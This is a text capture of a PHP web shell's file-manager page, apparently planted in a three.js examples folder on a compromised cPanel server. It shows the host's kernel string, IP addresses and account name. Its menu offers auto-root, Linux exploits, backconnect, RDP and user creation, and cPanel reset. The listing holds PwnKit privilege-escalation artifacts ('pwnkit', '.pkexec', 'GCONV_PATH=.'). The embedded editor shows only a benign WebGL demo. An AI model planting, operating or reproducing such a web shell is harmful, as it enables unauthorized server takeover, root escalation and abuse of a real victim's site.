Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 18.217.98.198
54 Domain
7.3.33
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
dpclient /
public_html /
HRD-Test /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
files
[ DIR ]
drwxr-xr-x
fonts
[ DIR ]
drwxr-xr-x
ies
[ DIR ]
drwxr-xr-x
jsm
[ DIR ]
drwxr-xr-x
luts
[ DIR ]
drwxr-xr-x
models
[ DIR ]
drwxr-xr-x
new-gltf
[ DIR ]
drwxr-xr-x
screenshots
[ DIR ]
drwxr-xr-x
sounds
[ DIR ]
drwxr-xr-x
texture
[ DIR ]
drwxr-xr-x
textures
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
123.html
3.29
KB
-rw-r--r--
GLTF_test.zip
2.29
MB
-rw-r--r--
css2d_label.html
6.31
KB
-rw-r--r--
css3d_molecules.html
9.87
KB
-rw-r--r--
css3d_orthographic.html
6.88
KB
-rw-r--r--
css3d_periodictable.html
12.2
KB
-rw-r--r--
css3d_sandbox.html
6.42
KB
-rw-r--r--
css3d_sprites.html
5.12
KB
-rw-r--r--
css3d_youtube.html
3.29
KB
-rw-r--r--
files.json
11.63
KB
-rw-r--r--
games_fps.html
11.77
KB
-rw-r--r--
hdrnew.html
7.86
KB
-rw-r--r--
index.html
9.09
KB
-rw-r--r--
main.css
1.37
KB
-rw-r--r--
misc_animation_groups.html
3.7
KB
-rw-r--r--
misc_animation_keys.html
4.27
KB
-rw-r--r--
misc_boxselection.html
5.04
KB
-rw-r--r--
misc_controls_arcball.html
8.09
KB
-rw-r--r--
misc_controls_drag.html
4.98
KB
-rw-r--r--
misc_controls_fly.html
7.78
KB
-rw-r--r--
misc_controls_map.html
3.85
KB
-rw-r--r--
misc_controls_orbit.html
3.62
KB
-rw-r--r--
misc_controls_pointerlock.html
8.05
KB
-rw-r--r--
misc_controls_trackball.html
4.56
KB
-rw-r--r--
misc_controls_transform.html
5.73
KB
-rw-r--r--
misc_exporter_draco.html
4.16
KB
-rw-r--r--
misc_exporter_gltf.html
17.1
KB
-rw-r--r--
misc_exporter_obj.html
6.49
KB
-rw-r--r--
misc_exporter_ply.html
5.17
KB
-rw-r--r--
misc_exporter_stl.html
4.44
KB
-rw-r--r--
misc_exporter_usdz.html
4.96
KB
-rw-r--r--
misc_lookat.html
3.58
KB
-rw-r--r--
misc_uv_tests.html
2.34
KB
-rw-r--r--
physics_ammo_break.html
15.76
KB
-rw-r--r--
physics_ammo_cloth.html
13.12
KB
-rw-r--r--
physics_ammo_instancing.html
4.41
KB
-rw-r--r--
physics_ammo_rope.html
12.91
KB
-rw-r--r--
physics_ammo_terrain.html
12.16
KB
-rw-r--r--
physics_ammo_volume.html
13.8
KB
-rw-r--r--
physics_rapier_instancing.html
4.37
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
sandeep.html
2.75
KB
-rw-r--r--
sandeep1.html
3.13
KB
-rw-r--r--
svg_lines.html
2.93
KB
-rw-r--r--
svg_sandbox.html
6.9
KB
-rw-r--r--
tags.json
5.32
KB
-rw-r--r--
webaudio_orientation.html
5.34
KB
-rw-r--r--
webaudio_sandbox.html
8.14
KB
-rw-r--r--
webaudio_timing.html
5.07
KB
-rw-r--r--
webaudio_visualizer.html
3.9
KB
-rw-r--r--
webgl2_buffergeometry_attribut...
4.85
KB
-rw-r--r--
webgl2_buffergeometry_attribut...
4.08
KB
-rw-r--r--
webgl2_materials_texture2darra...
4.63
KB
-rw-r--r--
webgl2_materials_texture3d.htm...
6.02
KB
-rw-r--r--
webgl2_materials_texture3d_par...
10.18
KB
-rw-r--r--
webgl2_multiple_rendertargets....
6.86
KB
-rw-r--r--
webgl2_multisampled_renderbuff...
5.04
KB
-rw-r--r--
webgl2_rendertarget_texture2da...
7.43
KB
-rw-r--r--
webgl2_texture2darray_compress...
4.08
KB
-rw-r--r--
webgl2_ubo.html
9.17
KB
-rw-r--r--
webgl2_volume_cloud.html
8.54
KB
-rw-r--r--
webgl2_volume_instancing.html
6.44
KB
-rw-r--r--
webgl2_volume_perlin.html
6.62
KB
-rw-r--r--
webgl_animation_keyframes.html
3.51
KB
-rw-r--r--
webgl_animation_multiple.html
4.02
KB
-rw-r--r--
webgl_animation_skinning_addit...
9.97
KB
-rw-r--r--
webgl_animation_skinning_blend...
12.3
KB
-rw-r--r--
webgl_animation_skinning_ik.ht...
6.96
KB
-rw-r--r--
webgl_animation_skinning_morph...
6.33
KB
-rw-r--r--
webgl_buffergeometry.html
5.09
KB
-rw-r--r--
webgl_buffergeometry_compressi...
7.32
KB
-rw-r--r--
webgl_buffergeometry_custom_at...
4.31
KB
-rw-r--r--
webgl_buffergeometry_drawrange...
8.3
KB
-rw-r--r--
webgl_buffergeometry_glbuffera...
4.5
KB
-rw-r--r--
webgl_buffergeometry_indexed.h...
4.15
KB
-rw-r--r--
webgl_buffergeometry_instancin...
6.01
KB
-rw-r--r--
webgl_buffergeometry_instancin...
5
KB
-rw-r--r--
webgl_buffergeometry_instancin...
5.95
KB
-rw-r--r--
webgl_buffergeometry_lines.htm...
3.61
KB
-rw-r--r--
webgl_buffergeometry_lines_ind...
5.56
KB
-rw-r--r--
webgl_buffergeometry_points.ht...
3.27
KB
-rw-r--r--
webgl_buffergeometry_points_in...
4.1
KB
-rw-r--r--
webgl_buffergeometry_rawshader...
4.3
KB
-rw-r--r--
webgl_buffergeometry_selective...
6.07
KB
-rw-r--r--
webgl_buffergeometry_uint.html
5.29
KB
-rw-r--r--
webgl_camera.html
6.29
KB
-rw-r--r--
webgl_camera_array.html
3.91
KB
-rw-r--r--
webgl_camera_cinematic.html
5.93
KB
-rw-r--r--
webgl_camera_logarithmicdepthb...
10.65
KB
-rw-r--r--
webgl_clipping.html
5.59
KB
-rw-r--r--
webgl_clipping_advanced.html
10.17
KB
-rw-r--r--
webgl_clipping_intersection.ht...
3.94
KB
-rw-r--r--
webgl_clipping_stencil.html
8.36
KB
-rw-r--r--
webgl_custom_attributes.html
4.63
KB
-rw-r--r--
webgl_custom_attributes_lines....
4.79
KB
-rw-r--r--
webgl_custom_attributes_points...
4.6
KB
-rw-r--r--
webgl_custom_attributes_points...
6.67
KB
-rw-r--r--
webgl_custom_attributes_points...
7.33
KB
-rw-r--r--
webgl_decals.html
7.54
KB
-rw-r--r--
webgl_depth_texture.html
6.88
KB
-rw-r--r--
webgl_effects_anaglyph.html
3.82
KB
-rw-r--r--
webgl_effects_ascii.html
3.34
KB
-rw-r--r--
webgl_effects_parallaxbarrier....
3.85
KB
-rw-r--r--
webgl_effects_peppersghost.htm...
3.39
KB
-rw-r--r--
webgl_effects_stereo.html
3.83
KB
-rw-r--r--
webgl_framebuffer_texture.html
5.25
KB
-rw-r--r--
webgl_furnace_test.html
3.56
KB
-rw-r--r--
webgl_geometries.html
4.73
KB
-rw-r--r--
webgl_geometries_parametric.ht...
4.45
KB
-rw-r--r--
webgl_geometry_colors.html
6.12
KB
-rw-r--r--
webgl_geometry_colors_lookupta...
4.66
KB
-rw-r--r--
webgl_geometry_convex.html
4.01
KB
-rw-r--r--
webgl_geometry_csg.html
6.1
KB
-rw-r--r--
webgl_geometry_cube.html
1.93
KB
-rw-r--r--
webgl_geometry_dynamic.html
3.5
KB
-rw-r--r--
webgl_geometry_extrude_shapes....
4.61
KB
-rw-r--r--
webgl_geometry_extrude_splines...
9.55
KB
-rw-r--r--
webgl_geometry_minecraft.html
6.58
KB
-rw-r--r--
webgl_geometry_nurbs.html
6.75
KB
-rw-r--r--
webgl_geometry_shapes.html
13.05
KB
-rw-r--r--
webgl_geometry_spline_editor.h...
9.97
KB
-rw-r--r--
webgl_geometry_teapot.html
6.39
KB
-rw-r--r--
webgl_geometry_terrain.html
5.78
KB
-rw-r--r--
webgl_geometry_terrain_raycast...
6.73
KB
-rw-r--r--
webgl_geometry_text.html
8.16
KB
-rw-r--r--
webgl_geometry_text_shapes.htm...
3.92
KB
-rw-r--r--
webgl_geometry_text_stroke.htm...
4.07
KB
-rw-r--r--
webgl_gpgpu_birds.html
16.88
KB
-rw-r--r--
webgl_gpgpu_birds_gltf.html
20.35
KB
-rw-r--r--
webgl_gpgpu_protoplanet.html
14.05
KB
-rw-r--r--
webgl_gpgpu_water.html
19.73
KB
-rw-r--r--
webgl_helpers.html
4.25
KB
-rw-r--r--
webgl_instancing_dynamic.html
3.48
KB
-rw-r--r--
webgl_instancing_performance.h...
7
KB
-rw-r--r--
webgl_instancing_raycast.html
3.91
KB
-rw-r--r--
webgl_instancing_scatter.html
7.77
KB
-rw-r--r--
webgl_interactive_buffergeomet...
6.79
KB
-rw-r--r--
webgl_interactive_cubes.html
4.16
KB
-rw-r--r--
webgl_interactive_cubes_gpu.ht...
7.54
KB
-rw-r--r--
webgl_interactive_cubes_ortho....
4.46
KB
-rw-r--r--
webgl_interactive_lines.html
5.6
KB
-rw-r--r--
webgl_interactive_points.html
5.44
KB
-rw-r--r--
webgl_interactive_raycasting_p...
7.06
KB
-rw-r--r--
webgl_interactive_voxelpainter...
5.29
KB
-rw-r--r--
webgl_layers.html
4.22
KB
-rw-r--r--
webgl_lensflares.html
4.79
KB
-rw-r--r--
webgl_lightprobe.html
4.26
KB
-rw-r--r--
webgl_lightprobe_cubecamera.ht...
3.09
KB
-rw-r--r--
webgl_lights_hemisphere.html
6.72
KB
-rw-r--r--
webgl_lights_physical.html
8.57
KB
-rw-r--r--
webgl_lights_pointlights.html
3.97
KB
-rw-r--r--
webgl_lights_rectarealight.htm...
3.55
KB
-rw-r--r--
webgl_lights_spotlight.html
5.93
KB
-rw-r--r--
webgl_lights_spotlights.html
4.55
KB
-rw-r--r--
webgl_lines_colors.html
6.77
KB
-rw-r--r--
webgl_lines_dashed.html
4.2
KB
-rw-r--r--
webgl_lines_fat.html
7.6
KB
-rw-r--r--
webgl_lines_fat_raycasting.htm...
9.95
KB
-rw-r--r--
webgl_lines_fat_wireframe.html
6.51
KB
-rw-r--r--
webgl_loader_3dm.html
3.73
KB
-rw-r--r--
webgl_loader_3ds.html
2.73
KB
-rw-r--r--
webgl_loader_3mf.html
4.06
KB
-rw-r--r--
webgl_loader_3mf_materials.htm...
3.77
KB
-rw-r--r--
webgl_loader_amf.html
2.62
KB
-rw-r--r--
webgl_loader_bvh.html
2.79
KB
-rw-r--r--
webgl_loader_collada.html
2.98
KB
-rw-r--r--
webgl_loader_collada_kinematic...
4.3
KB
-rw-r--r--
webgl_loader_collada_skinning....
3.5
KB
-rw-r--r--
webgl_loader_draco.html
3.4
KB
-rw-r--r--
webgl_loader_fbx.html
3.96
KB
-rw-r--r--
webgl_loader_fbx_nurbs.html
2.45
KB
-rw-r--r--
webgl_loader_gcode.html
2.2
KB
-rw-r--r--
webgl_loader_gltf.html
3.16
KB
-rw-r--r--
webgl_loader_gltf_anisotropy.h...
3.3
KB
-rw-r--r--
webgl_loader_gltf_avif.html
2.84
KB
-rw-r--r--
webgl_loader_gltf_compressed.h...
3.89
KB
-rw-r--r--
webgl_loader_gltf_instancing.h...
3.37
KB
-rw-r--r--
webgl_loader_gltf_iridescence....
3.29
KB
-rw-r--r--
webgl_loader_gltf_lights.html
3.45
KB
-rw-r--r--
webgl_loader_gltf_sheen.html
3.43
KB
-rw-r--r--
webgl_loader_gltf_transmission...
3.74
KB
-rw-r--r--
webgl_loader_gltf_variants.htm...
5.19
KB
-rw-r--r--
webgl_loader_ifc.html
3.64
KB
-rw-r--r--
webgl_loader_imagebitmap.html
3.77
KB
-rw-r--r--
webgl_loader_kmz.html
2.51
KB
-rw-r--r--
webgl_loader_ldraw.html
9.59
KB
-rw-r--r--
webgl_loader_lwo.html
3.23
KB
-rw-r--r--
webgl_loader_md2.html
7.47
KB
-rw-r--r--
webgl_loader_md2_control.html
7.6
KB
-rw-r--r--
webgl_loader_mdd.html
2.47
KB
-rw-r--r--
webgl_loader_mmd.html
5.63
KB
-rw-r--r--
webgl_loader_mmd_audio.html
4.96
KB
-rw-r--r--
webgl_loader_mmd_pose.html
6.02
KB
-rw-r--r--
webgl_loader_nrrd.html
5.37
KB
-rw-r--r--
webgl_loader_obj.html
3.15
KB
-rw-r--r--
webgl_loader_obj_mtl.html
2.92
KB
-rw-r--r--
webgl_loader_pcd.html
2.7
KB
-rw-r--r--
webgl_loader_pdb.html
6.82
KB
-rw-r--r--
webgl_loader_ply.html
4.83
KB
-rw-r--r--
webgl_loader_stl.html
5.59
KB
-rw-r--r--
webgl_loader_svg.html
6.61
KB
-rw-r--r--
webgl_loader_texture_dds.html
7.62
KB
-rw-r--r--
webgl_loader_texture_exr.html
3.01
KB
-rw-r--r--
webgl_loader_texture_hdr.html
2.82
KB
-rw-r--r--
webgl_loader_texture_ktx.html
4.82
KB
-rw-r--r--
webgl_loader_texture_ktx2.html
5.13
KB
-rw-r--r--
webgl_loader_texture_logluv.ht...
2.57
KB
-rw-r--r--
webgl_loader_texture_lottie.ht...
3.57
KB
-rw-r--r--
webgl_loader_texture_pvrtc.htm...
6.04
KB
-rw-r--r--
webgl_loader_texture_rgbm.html
2.58
KB
-rw-r--r--
webgl_loader_texture_tga.html
3.32
KB
-rw-r--r--
webgl_loader_texture_tiff.html
2.86
KB
-rw-r--r--
webgl_loader_tilt.html
2.5
KB
-rw-r--r--
webgl_loader_ttf.html
6.52
KB
-rw-r--r--
webgl_loader_usdz.html
2.54
KB
-rw-r--r--
webgl_loader_vox.html
3.58
KB
-rw-r--r--
webgl_loader_vrml.html
3.59
KB
-rw-r--r--
webgl_loader_vtk.html
4.34
KB
-rw-r--r--
webgl_loader_xyz.html
2.53
KB
-rw-r--r--
webgl_lod.html
3.44
KB
-rw-r--r--
webgl_marchingcubes.html
9.15
KB
-rw-r--r--
webgl_materials_alphahash.html
5.33
KB
-rw-r--r--
webgl_materials_blending.html
4.85
KB
-rw-r--r--
webgl_materials_blending_custo...
6.94
KB
-rw-r--r--
webgl_materials_bumpmap.html
4.16
KB
-rw-r--r--
webgl_materials_car.html
6.29
KB
-rw-r--r--
webgl_materials_channels.html
8.87
KB
-rw-r--r--
webgl_materials_cubemap.html
4.33
KB
-rw-r--r--
webgl_materials_cubemap_dynami...
4.14
KB
-rw-r--r--
webgl_materials_cubemap_mipmap...
4.27
KB
-rw-r--r--
webgl_materials_cubemap_refrac...
4.4
KB
-rw-r--r--
webgl_materials_cubemap_render...
7.19
KB
-rw-r--r--
webgl_materials_curvature.html
9.61
KB
-rw-r--r--
webgl_materials_displacementma...
6.37
KB
-rw-r--r--
webgl_materials_envmaps.html
3.96
KB
-rw-r--r--
webgl_materials_envmaps_exr.ht...
5.37
KB
-rw-r--r--
webgl_materials_envmaps_ground...
5.49
KB
-rw-r--r--
webgl_materials_envmaps_hdr.ht...
6.46
KB
-rw-r--r--
webgl_materials_lightmap.html
3.28
KB
-rw-r--r--
webgl_materials_matcap.html
5.87
KB
-rw-r--r--
webgl_materials_modified.html
3.92
KB
-rw-r--r--
webgl_materials_normalmap.html
5.87
KB
-rw-r--r--
webgl_materials_normalmap_obje...
3.17
KB
-rw-r--r--
webgl_materials_physical_clear...
6.48
KB
-rw-r--r--
webgl_materials_physical_trans...
5.72
KB
-rw-r--r--
webgl_materials_physical_trans...
7.3
KB
-rw-r--r--
webgl_materials_subsurface_sca...
6.46
KB
-rw-r--r--
webgl_materials_texture_anisot...
5.58
KB
-rw-r--r--
webgl_materials_texture_canvas...
3.76
KB
-rwxr-xr-x
webgl_materials_texture_filter...
7.26
KB
-rw-r--r--
webgl_materials_texture_manual...
7.9
KB
-rw-r--r--
webgl_materials_texture_partia...
3.58
KB
-rw-r--r--
webgl_materials_texture_rotati...
4.47
KB
-rw-r--r--
webgl_materials_toon.html
5.31
KB
-rw-r--r--
webgl_materials_video.html
6.48
KB
-rw-r--r--
webgl_materials_video_webcam.h...
3.23
KB
-rw-r--r--
webgl_materials_wireframe.html
4.49
KB
-rw-r--r--
webgl_math_obb.html
5.97
KB
-rw-r--r--
webgl_math_orientation_transfo...
3.42
KB
-rw-r--r--
webgl_mirror.html
6.49
KB
-rw-r--r--
webgl_modifier_curve.html
5.2
KB
-rw-r--r--
webgl_modifier_curve_instanced...
5.92
KB
-rw-r--r--
webgl_modifier_edgesplit.html
4.98
KB
-rw-r--r--
webgl_modifier_simplifier.html
3.21
KB
-rw-r--r--
webgl_modifier_subdivision.htm...
9.14
KB
-rw-r--r--
webgl_modifier_tessellation.ht...
5.24
KB
-rw-r--r--
webgl_morphtargets.html
4.69
KB
-rw-r--r--
webgl_morphtargets_face.html
4.1
KB
-rw-r--r--
webgl_morphtargets_horse.html
3.42
KB
-rw-r--r--
webgl_morphtargets_sphere.html
3.75
KB
-rw-r--r--
webgl_morphtargets_webcam.html
8.23
KB
-rw-r--r--
webgl_multiple_elements.html
5.65
KB
-rw-r--r--
webgl_multiple_elements_text.h...
14.03
KB
-rw-r--r--
webgl_multiple_scenes_comparis...
4.07
KB
-rw-r--r--
webgl_multiple_views.html
7.91
KB
-rw-r--r--
webgl_nodes_loader_gltf_irides...
4.06
KB
-rw-r--r--
webgl_nodes_loader_gltf_sheen....
3.94
KB
-rw-r--r--
webgl_nodes_loader_gltf_transm...
4.76
KB
-rw-r--r--
webgl_nodes_loader_materialx.h...
5.02
KB
-rw-r--r--
webgl_nodes_materials_instance...
5.33
KB
-rw-r--r--
webgl_nodes_materials_physical...
7.05
KB
-rw-r--r--
webgl_nodes_materials_standard...
6.44
KB
-rw-r--r--
webgl_nodes_materialx_noise.ht...
4.91
KB
-rw-r--r--
webgl_nodes_points.html
5.31
KB
-rw-r--r--
webgl_panorama_cube.html
3.25
KB
-rw-r--r--
webgl_panorama_equirectangular...
4.94
KB
-rw-r--r--
webgl_pmrem_test.html
5.21
KB
-rw-r--r--
webgl_points_billboards.html
3.75
KB
-rw-r--r--
webgl_points_dynamic.html
9.66
KB
-rw-r--r--
webgl_points_sprites.html
5.52
KB
-rw-r--r--
webgl_points_waves.html
5.03
KB
-rw-r--r--
webgl_portal.html
8.85
KB
-rw-r--r--
webgl_postprocessing.html
3.44
KB
-rw-r--r--
webgl_postprocessing_3dlut.htm...
5.38
KB
-rw-r--r--
webgl_postprocessing_advanced....
10.76
KB
-rw-r--r--
webgl_postprocessing_afterimag...
3.05
KB
-rw-r--r--
webgl_postprocessing_backgroun...
6.59
KB
-rw-r--r--
webgl_postprocessing_crossfade...
9.41
KB
-rw-r--r--
webgl_postprocessing_dof.html
6.28
KB
-rw-r--r--
webgl_postprocessing_dof2.html
13.54
KB
-rw-r--r--
webgl_postprocessing_fxaa.html
5.16
KB
-rw-r--r--
webgl_postprocessing_glitch.ht...
4.06
KB
-rw-r--r--
webgl_postprocessing_godrays.h...
13.09
KB
-rw-r--r--
webgl_postprocessing_masking.h...
3.89
KB
-rw-r--r--
webgl_postprocessing_outline.h...
9.02
KB
-rw-r--r--
webgl_postprocessing_pixel.htm...
8.66
KB
-rw-r--r--
webgl_postprocessing_procedura...
4.52
KB
-rw-r--r--
webgl_postprocessing_rgb_halft...
6.75
KB
-rw-r--r--
webgl_postprocessing_sao.html
5.19
KB
-rw-r--r--
webgl_postprocessing_smaa.html
3.4
KB
-rw-r--r--
webgl_postprocessing_sobel.htm...
4.07
KB
-rw-r--r--
webgl_postprocessing_ssaa.html
7.09
KB
-rw-r--r--
webgl_postprocessing_ssao.html
4.35
KB
-rw-r--r--
webgl_postprocessing_ssr.html
8.76
KB
-rw-r--r--
webgl_postprocessing_taa.html
5.11
KB
-rw-r--r--
webgl_postprocessing_unreal_bl...
5.08
KB
-rw-r--r--
webgl_postprocessing_unreal_bl...
7.25
KB
-rw-r--r--
webgl_raycaster_bvh.html
8.08
KB
-rw-r--r--
webgl_raycaster_sprite.html
3.87
KB
-rw-r--r--
webgl_raycaster_texture.html
9.49
KB
-rw-r--r--
webgl_raymarching_reflect.html
8.31
KB
-rw-r--r--
webgl_read_float_buffer.html
5.8
KB
-rw-r--r--
webgl_refraction.html
5.16
KB
-rw-r--r--
webgl_renderer_pathtracer.html
14
KB
-rw-r--r--
webgl_rtt.html
6.31
KB
-rw-r--r--
webgl_shader.html
3.71
KB
-rw-r--r--
webgl_shader_lava.html
5.42
KB
-rw-r--r--
webgl_shaders_ocean.html
5.32
KB
-rw-r--r--
webgl_shaders_sky.html
4
KB
-rw-r--r--
webgl_shadow_contact.html
9.28
KB
-rw-r--r--
webgl_shadowmap.html
9.01
KB
-rw-r--r--
webgl_shadowmap_csm.html
7.91
KB
-rw-r--r--
webgl_shadowmap_pcss.html
8.55
KB
-rw-r--r--
webgl_shadowmap_performance.ht...
7.79
KB
-rw-r--r--
webgl_shadowmap_pointlight.htm...
4.73
KB
-rw-r--r--
webgl_shadowmap_progressive.ht...
8.24
KB
-rw-r--r--
webgl_shadowmap_viewer.html
6.06
KB
-rw-r--r--
webgl_shadowmap_vsm.html
6.35
KB
-rw-r--r--
webgl_shadowmesh.html
10.07
KB
-rw-r--r--
webgl_simple_gi.html
5.53
KB
-rw-r--r--
webgl_sprites.html
6.09
KB
-rw-r--r--
webgl_test_memory.html
2.52
KB
-rw-r--r--
webgl_test_memory2.html
3.41
KB
-rw-r--r--
webgl_test_wide_gamut.html
5.8
KB
-rw-r--r--
webgl_tonemapping.html
5.57
KB
-rw-r--r--
webgl_video_kinect.html
5.4
KB
-rw-r--r--
webgl_video_panorama_equirecta...
3.76
KB
-rw-r--r--
webgl_water.html
5.15
KB
-rw-r--r--
webgl_water_flowmap.html
3.7
KB
-rw-r--r--
webgl_worker_offscreencanvas.h...
2.88
KB
-rw-r--r--
webgpu_audio_processing.html
5.88
KB
-rw-r--r--
webgpu_backdrop.html
5.05
KB
-rw-r--r--
webgpu_backdrop_area.html
5.51
KB
-rw-r--r--
webgpu_clearcoat.html
6.75
KB
-rw-r--r--
webgpu_compute.html
5.61
KB
-rw-r--r--
webgpu_compute_particles.html
7.25
KB
-rw-r--r--
webgpu_compute_texture.html
3.45
KB
-rw-r--r--
webgpu_cubemap_adjustments.htm...
6.6
KB
-rw-r--r--
webgpu_cubemap_dynamic.html
4.93
KB
-rw-r--r--
webgpu_cubemap_mix.html
3.94
KB
-rw-r--r--
webgpu_depth_texture.html
3.66
KB
-rw-r--r--
webgpu_equirectangular.html
2.91
KB
-rw-r--r--
webgpu_instance_mesh.html
3.92
KB
-rw-r--r--
webgpu_instance_uniform.html
4.81
KB
-rw-r--r--
webgpu_lights_custom.html
4.62
KB
-rw-r--r--
webgpu_lights_ies_spotlight.ht...
4.47
KB
-rw-r--r--
webgpu_lights_phong.html
6
KB
-rw-r--r--
webgpu_lights_selective.html
6.5
KB
-rw-r--r--
webgpu_lines_fat.html
7.7
KB
-rw-r--r--
webgpu_loader_gltf.html
3.51
KB
-rw-r--r--
webgpu_loader_gltf_compressed....
3.08
KB
-rw-r--r--
webgpu_loader_gltf_iridescence...
3.58
KB
-rw-r--r--
webgpu_loader_gltf_sheen.html
3.89
KB
-rw-r--r--
webgpu_materials.html
11.81
KB
-rw-r--r--
webgpu_materials_video.html
6
KB
-rw-r--r--
webgpu_morphtargets.html
5.02
KB
-rw-r--r--
webgpu_multiple_rendertargets....
5.46
KB
-rw-r--r--
webgpu_occlusion.html
3.77
KB
-rw-r--r--
webgpu_particles.html
5.21
KB
-rw-r--r--
webgpu_rtt.html
3.52
KB
-rw-r--r--
webgpu_sandbox.html
7.03
KB
-rw-r--r--
webgpu_shadowmap.html
5.33
KB
-rw-r--r--
webgpu_skinning.html
2.76
KB
-rw-r--r--
webgpu_skinning_instancing.htm...
4.16
KB
-rw-r--r--
webgpu_skinning_points.html
2.93
KB
-rw-r--r--
webgpu_sprites.html
3.71
KB
-rw-r--r--
webgpu_tsl_editor.html
6.53
KB
-rw-r--r--
webgpu_video_panorama.html
4.06
KB
-rw-r--r--
webxr_ar_cones.html
2.68
KB
-rw-r--r--
webxr_ar_hittest.html
4.02
KB
-rw-r--r--
webxr_ar_lighting.html
4.65
KB
-rw-r--r--
webxr_ar_plane_detection.html
2.07
KB
-rw-r--r--
webxr_vr_handinput.html
4.47
KB
-rw-r--r--
webxr_vr_handinput_cubes.html
7.63
KB
-rw-r--r--
webxr_vr_handinput_pointerclic...
13.52
KB
-rw-r--r--
webxr_vr_handinput_pointerdrag...
15.09
KB
-rw-r--r--
webxr_vr_handinput_pressbutton...
15.38
KB
-rw-r--r--
webxr_vr_handinput_profiles.ht...
5.79
KB
-rw-r--r--
webxr_vr_layers.html
16.13
KB
-rw-r--r--
webxr_vr_panorama.html
3.3
KB
-rw-r--r--
webxr_vr_panorama_depth.html
3.75
KB
-rw-r--r--
webxr_vr_rollercoaster.html
6.01
KB
-rw-r--r--
webxr_vr_sandbox.html
7.58
KB
-rw-r--r--
webxr_vr_teleport.html
7.17
KB
-rw-r--r--
webxr_vr_video.html
3.82
KB
-rw-r--r--
webxr_xr_ballshooter.html
7.76
KB
-rw-r--r--
webxr_xr_cubes.html
7.67
KB
-rw-r--r--
webxr_xr_dragging.html
7.55
KB
-rw-r--r--
webxr_xr_haptics.html
7.94
KB
-rw-r--r--
webxr_xr_paint.html
5.19
KB
-rw-r--r--
webxr_xr_sculpt.html
5.56
KB
-rw-r--r--
x1.html
6.75
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : webgl_gpgpu_protoplanet.html
<!DOCTYPE html> <html lang="en"> <head> <title>three.js webgl - gpgpu - protoplanet</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, user-scalable=no, minimum-scale=1.0, maximum-scale=1.0"> <link type="text/css" rel="stylesheet" href="main.css"> </head> <body> <div id="info"> <a href="https://threejs.org" target="_blank" rel="noopener">three.js</a> - <span id="protoplanets"></span> webgl gpgpu debris </div> <!-- Fragment shader for protoplanet's position --> <script id="computeShaderPosition" type="x-shader/x-fragment"> #define delta ( 1.0 / 60.0 ) void main() { vec2 uv = gl_FragCoord.xy / resolution.xy; vec4 tmpPos = texture2D( texturePosition, uv ); vec3 pos = tmpPos.xyz; vec4 tmpVel = texture2D( textureVelocity, uv ); vec3 vel = tmpVel.xyz; float mass = tmpVel.w; if ( mass == 0.0 ) { vel = vec3( 0.0 ); } // Dynamics pos += vel * delta; gl_FragColor = vec4( pos, 1.0 ); } </script> <!-- Fragment shader for protoplanet's velocity --> <script id="computeShaderVelocity" type="x-shader/x-fragment"> // For PI declaration: #include <common> #define delta ( 1.0 / 60.0 ) uniform float gravityConstant; uniform float density; const float width = resolution.x; const float height = resolution.y; float radiusFromMass( float mass ) { // Calculate radius of a sphere from mass and density return pow( ( 3.0 / ( 4.0 * PI ) ) * mass / density, 1.0 / 3.0 ); } void main() { vec2 uv = gl_FragCoord.xy / resolution.xy; float idParticle = uv.y * resolution.x + uv.x; vec4 tmpPos = texture2D( texturePosition, uv ); vec3 pos = tmpPos.xyz; vec4 tmpVel = texture2D( textureVelocity, uv ); vec3 vel = tmpVel.xyz; float mass = tmpVel.w; if ( mass > 0.0 ) { float radius = radiusFromMass( mass ); vec3 acceleration = vec3( 0.0 ); // Gravity interaction for ( float y = 0.0; y < height; y++ ) { for ( float x = 0.0; x < width; x++ ) { vec2 secondParticleCoords = vec2( x + 0.5, y + 0.5 ) / resolution.xy; vec3 pos2 = texture2D( texturePosition, secondParticleCoords ).xyz; vec4 velTemp2 = texture2D( textureVelocity, secondParticleCoords ); vec3 vel2 = velTemp2.xyz; float mass2 = velTemp2.w; float idParticle2 = secondParticleCoords.y * resolution.x + secondParticleCoords.x; if ( idParticle == idParticle2 ) { continue; } if ( mass2 == 0.0 ) { continue; } vec3 dPos = pos2 - pos; float distance = length( dPos ); float radius2 = radiusFromMass( mass2 ); if ( distance == 0.0 ) { continue; } // Checks collision if ( distance < radius + radius2 ) { if ( idParticle < idParticle2 ) { // This particle is aggregated by the other vel = ( vel * mass + vel2 * mass2 ) / ( mass + mass2 ); mass += mass2; radius = radiusFromMass( mass ); } else { // This particle dies mass = 0.0; radius = 0.0; vel = vec3( 0.0 ); break; } } float distanceSq = distance * distance; float gravityField = gravityConstant * mass2 / distanceSq; gravityField = min( gravityField, 1000.0 ); acceleration += gravityField * normalize( dPos ); } if ( mass == 0.0 ) { break; } } // Dynamics vel += delta * acceleration; } gl_FragColor = vec4( vel, mass ); } </script> <!-- Particles vertex shader --> <script type="x-shader/x-vertex" id="particleVertexShader"> // For PI declaration: #include <common> uniform sampler2D texturePosition; uniform sampler2D textureVelocity; uniform float cameraConstant; uniform float density; varying vec4 vColor; float radiusFromMass( float mass ) { // Calculate radius of a sphere from mass and density return pow( ( 3.0 / ( 4.0 * PI ) ) * mass / density, 1.0 / 3.0 ); } void main() { vec4 posTemp = texture2D( texturePosition, uv ); vec3 pos = posTemp.xyz; vec4 velTemp = texture2D( textureVelocity, uv ); vec3 vel = velTemp.xyz; float mass = velTemp.w; vColor = vec4( 1.0, mass / 250.0, 0.0, 1.0 ); vec4 mvPosition = modelViewMatrix * vec4( pos, 1.0 ); // Calculate radius of a sphere from mass and density //float radius = pow( ( 3.0 / ( 4.0 * PI ) ) * mass / density, 1.0 / 3.0 ); float radius = radiusFromMass( mass ); // Apparent size in pixels if ( mass == 0.0 ) { gl_PointSize = 0.0; } else { gl_PointSize = radius * cameraConstant / ( - 